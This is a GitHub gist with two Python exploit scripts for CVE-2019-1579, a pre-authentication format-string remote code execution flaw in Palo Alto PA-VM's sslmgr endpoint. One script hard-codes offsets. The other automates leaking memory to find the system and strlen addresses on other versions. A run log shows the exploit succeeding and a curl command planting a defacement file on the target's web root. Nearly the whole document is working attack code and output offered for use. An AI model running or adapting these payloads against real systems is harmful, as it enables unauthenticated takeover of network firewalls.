Skip to content

Instantly share code, notes, and snippets.

@rqu1
Last active August 4, 2022 12:22
Show Gist options
  • Save rqu1/d584ee6caf8d586fe01919a06c6ff360 to your computer and use it in GitHub Desktop.
Save rqu1/d584ee6caf8d586fe01919a06c6ff360 to your computer and use it in GitHub Desktop.
CVE-2019-1579 fun times
#!/usr/bin/env python2
import urllib2
import struct
# Constants
ip_addr= '172.31.21.2'
# PA-VM
# 8.0
scep_offset=24
host_offset=70
AMP_BUF_OFFSET=170
system_plt=0x407290
strlen_got=0x625410
amp_buf=0x7fffca7fbd40
def num_to_addr(y):
x=struct.pack("<Q",y)
s=''
for i in x:
if i=='\0': s+='%10$c'
elif i=='%': s+='%%'
elif i=='&': s+='%'+str(AMP_BUF_OFFSET)+'$c'
else: s+=i
return s
def get_addrs_vals(addr,val):
val0=(val>>16)&0xff
val1=(val>>8) &0xff
val2=(val ) &0xff
addrs=(addr+2,addr+1,addr)
c=zip((val0,val1,val2),addrs)
return sorted(c)
def do_expl(cmd, system, strlen, amp_buf):
url = "https://%s/sslmgr" % ip_addr
av=get_addrs_vals(strlen,system)
val1,addr_1=av[0]
val2,addr_2=av[1]
val3,addr_3=av[2]
val2=val2-val1
val3=val3-val2-val1
fmt = "%"+str(host_offset+5)+"$lln"
if val1>0: fmt += "%"+str(val1)+"c" + "%"+str(host_offset+1)+"$hhn"
if val2>0: fmt += "%"+str(val2)+"c"
fmt += "%"+str(host_offset+3)+"$hhn"
if val3>0: fmt += "%"+str(val3)+"c"
fmt += "%"+str(host_offset+5)+"$hhn"
data = "scep-profile-name="
data += 'AABBCCDD'+num_to_addr(amp_buf)
data += "&appauthcookie="
data += '%9766c%'+str(scep_offset+1)+'$hn'
data += 'AAAABBBB'
data += "&host-id="
data += "AAAABBBB"+num_to_addr(addr_1)+"CCCCDDDD"+num_to_addr(addr_2)+"EEEEFFFF"+num_to_addr(addr_3)
data += "&user-email="
data += fmt + "A"*104
data += "&user="
data += cmd
data +="&hostid=id"
req=urllib2.Request(url,data)
response=urllib2.urlopen(req)
print response.read(
do_expl("test", system_plt,strlen_got, amp_buf)
print "curl -kd 'scep-profile-name=cmd' https://ip/sslmgr"
#!/usr/bin/env python2
#
# automates some of the hard work of rooting your PA-VM with CVE-2019-1579
# for more info see http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
# originally based on https://github.com/securifera/CVE-2019-1579 but better
#
# This will exploit your palo, but the cooler part is that it automates finding the offsets of system and strlen
# There are a few PoCs of this vulnerability, but they only work for one version of the vulnerable binary.
# This will let you adapt those PoCs to new versions.
#
from pwn import ssh
import sys, struct, requests
requests.packages.urllib3.disable_warnings()
if len(sys.argv)<4:
print "Usage: hax.py <username> <password> <ip>"
exit(1)
# Constants
username = sys.argv[1]
password = sys.argv[2]
prompt = username + "@PA-VM>"
enable_dbg_cmd = "debug software logging-level set level dump service sslmgr"
ip_addr= sys.argv[3]
padding='z*aX'+" "*100
ELF_BASE=0x400000
PLT_ELSIZE=0x10
# PA-VM
# If you are on panos 8.0, uncomment this section
# 8.0
scep_offset=24
host_offset=70
AMP_BUF_OFFSET=170
system_plt=0x407290
strlen_got=0x625410
amp_buf=0x7fffca7fbd40
# ------------------
# If you're on panos 8.1, uncomment this section
#8.1
#scep_offset=28
#host_offset=74
#AMP_BUF_OFFSET=174
#system_plt=0x407600
#strlen_got=0x628418
#stack_base=0x7fffe53d4840 #8.1
# ------------------
# If you're not on 8.0 or 8.1, you may have to gather this info yourself.
# The easiest way to do this is with https://github.com/securifera/CVE-2019-1579/blob/master/poc_leak.py
def get_leak(sh):
sh.sendline("tail mp-log sslmgr.log")
# Receive the output
sh.recvuntil(prompt)
sh.recvuntil(prompt)
# Get the leak data
leak_data = sh.recvuntil(prompt)
lines = leak_data.splitlines()
for line in lines:
if "SCEP cert request" in line:
elements = line.split(",")
for element in elements:
if "email" in element:
val = element.split(":")[1]
val=val[:val.find('z*aX')]
return val
return ''
# Enable debug
def enable_dbg(sh):
sh.sendline(enable_dbg_cmd)
# Receive the output
for i in range(8):
sh.recvuntil(prompt)
def leak_base():
url = "https://%s/sslmgr" % ip_addr
data = "scep-profile-name="
data += "A"*8
data += "&appauthcookie="
data += "B"*8
data += "&host-id="
data += "C"*8
data += "&user-email="
data += "%4$llx" + padding
data += "&user="
data += "D"*8
r = requests.post(url, data=data, verify=False)
out = r.text
if "502 Bad Gateway" in out:
print "[-] Error: Crashed. Aborting"
return False
return int(get_leak(sh),16)-(scep_offset*8)
def leak_at(addr):
url = "https://%s/sslmgr" % ip_addr
data = "scep-profile-name="
data += 'AABBCCDD'+num_to_addr(amp_buf)
data += "&appauthcookie="
data += '%9766c%'+str(scep_offset+1)+'$hn'
data += "&host-id="
data += "AAAABBBB"+num_to_addr(addr)
data += "&user-email="
data += '%'+str(host_offset+1)+'$s' + padding
data += "&user="
data += "D"*8
r = requests.post(url, data=data, verify=False)
out = r.text
if "502 Bad Gateway" in out:
print "[-] Error: Crashed. Aborting"
return False
return True
def get_addrs_vals(addr,val):
val0=(val>>16)&0xff
val1=(val>>8) &0xff
val2=(val ) &0xff
addrs=(addr+2,addr+1,addr)
c=zip((val0,val1,val2),addrs)
return sorted(c)
def do_expl(cmd, system, strlen, amp_buf):
url = "https://%s/sslmgr" % ip_addr
av=get_addrs_vals(strlen,system)
val1,addr_1=av[0]
val2,addr_2=av[1]
val3,addr_3=av[2]
val2=val2-val1
val3=val3-val2-val1
print hex(val1), "@", hex(addr_1)
print hex(val2), "@", hex(addr_2)
print hex(val3), "@", hex(addr_3)
fmt = "%"+str(host_offset+5)+"$lln"
if val1>0: fmt += "%"+str(val1)+"c" + "%"+str(host_offset+1)+"$hhn"
if val2>0: fmt += "%"+str(val2)+"c"
fmt += "%"+str(host_offset+3)+"$hhn"
if val3>0: fmt += "%"+str(val3)+"c"
fmt += "%"+str(host_offset+5)+"$hhn"
data = "scep-profile-name="
data += 'AABBCCDD'+num_to_addr(amp_buf)
data += "&appauthcookie="
data += '%9766c%'+str(scep_offset+1)+'$hn'
data += 'AAAABBBB'
data += "&host-id="
data += "AAAABBBB"+num_to_addr(addr_1)+"CCCCDDDD"+num_to_addr(addr_2)+"EEEEFFFF"+num_to_addr(addr_3)
data += "&user-email="
data += fmt + padding
data += "&user="
data += cmd
data +="&hostid=id"
r = requests.post(url, data=data, verify=False)
out = r.text
if "502 Bad Gateway" in out:
print "[-] Error: Crashed. Aborting"
return False
return True
def num_to_addr(y):
x=struct.pack("<Q",y)
s=''
for i in x:
if i=='\0':
s+='%10$c'
elif i=='%':
s+='%%'
elif i=='&':
s+='%'+str(AMP_BUF_OFFSET)+'$c'
else:
s+=i
return s
def leak_from(start, length):
end=start+length
leaked=""
i=start
while i<end:
leak_at(i)
leak= get_leak(sh)+'\x00'
leaked+=leak
i+=len(leak)
return leaked
def fast_symtab(base,len):
fmt="<H"
ents=[]
for i in range(0,len,24):
ents.append(struct.unpack(fmt,leak_from(base+i,2)[:2])[0])
return ents
def cstr(x): return x[:x.index('\x00')]
def fastsymtab_resolve(stab,strtab):
a={}
for i in range(len(stab)):
st=cstr(strtab[stab[i]:])
a[st]=i
return a
# Connect to ssh host
s = ssh(host=ip_addr, user=username, password=password)
sh = s.shell()
sh.recvuntil(prompt)
enable_dbg(sh)
_=leak_base()
stack_base=leak_base()
amp_buf=stack_base+(AMP_BUF_OFFSET*8)
print "Stack base: "+hex(stack_base)
print "Reading ELF header..."
elfhead=leak_from(ELF_BASE, 0x40)
ehd=struct.unpack_from("<HHI3QI6H",elfhead,0x10)
e_phoff=ehd[4]
e_phnum=ehd[9]
print "Program header offset: %x\nProgram headers: %d" % (e_phoff,e_phnum)
print "Reading program headers"
phead=leak_from(ELF_BASE+e_phoff,56*e_phnum)
dyns=[]
for i in range(0,56*e_phnum,56):
phd=struct.unpack_from("<II6Q",phead,i)
if phd[0]==2: # p_type==PT_DYNAMIC
print "DYNAMIC %x @ %x " % (phd[6], phd[3]) #p_memsz @ p_vaddr
dyn=leak_from(phd[3], phd[6])
for i in range(0,phd[6],16):
dyns.append(struct.unpack_from("<QQ",dyn,i))
break
print "Finished parsing DYNAMIC section"
print "Extracting DYNAMIC entries..."
pltgotdat=None
strtabdat=None
symtabdat=None
pltbase =None
pltgot =None
for i in dyns:
if i[0]==3: #DT_PLTGOT
print "leaking PLTGOT @ %x" % i[1]
pltgot=i[1]
pltgotdat=leak_from(i[1],0x20)
pltbase=struct.unpack_from("<Q",pltgotdat,24)[0]-(2*PLT_ELSIZE)-6 #PLT_JMP_OFF
print "pltbase @ %x" % pltbase
if i[0]==5: #DT_STRTAB
print "leaking STRTAB @ %x" % i[1]
strtabdat=leak_from(i[1],0x2000)
if i[0]==6: #DT_SYMTAB
print "leaking SYMTAB @ %x" % i[1]
symtabdat=fast_symtab(i[1],0x1100)
syms=fastsymtab_resolve(symtabdat,strtabdat)
system_idx=syms["system"]
strlen_idx=syms["strlen"]
print "system idx: " +str(system_idx)
print "strlen idx: " +str(strlen_idx)
system_plt=pltbase+(system_idx*PLT_ELSIZE)
strlen_got=pltgot+(8*strlen_idx)+(2*8) # [*DYNAMIC, *link_map] _dl_runtime_resolve ...
print "system_plt="+hex(system_plt)
print "strlen_got="+hex(strlen_got)
print "amp_buf="+hex(amp_buf)
do_expl("test", system_plt,strlen_got, amp_buf)
sh.close()
s.close()
#r=requests.post(url,data="scep-profile-name="+cmd,verify=False)
$ python pa_vm_exploit.py admin changeme 10.0.0.7
[+] Connecting to 10.0.0.7 on port 22: Done
[*] [email protected]:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'shell': Done
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:845: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
Stack base: 0x7fffc27fb7f0
Reading ELF header...
Program header offset: 40
Program headers: 8
Reading program headers
DYNAMIC 210 @ 625018
Finished parsing DYNAMIC section
Extracting DYNAMIC entries...
leaking STRTAB @ 402530
leaking SYMTAB @ 4002b0
leaking PLTGOT @ 625230
pltbase @ 406900
system idx: 153
strlen idx: 58
system_plt=0x407290
strlen_got=0x625410
amp_buf=0x7fffc27fbd40
0x40 @ 0x625412
0x32 @ 0x625411
0x1e @ 0x625410
[*] Closed SSH channel with 10.0.0.7
[*] Closed connection to '10.0.0.7'
$ curl -kd 'scep-profile-name=echo "hacked by r0bl0xgang" > /var/appweb/sslvpndocs/hacked' https://10.0.0.7/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
<clientcert-response>
<status>error</status>
<msg>Invalid parameters</msg>
</clientcert-response>
$ curl -k https://10.0.0.7/hacked
hacked by r0bl0xgang
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment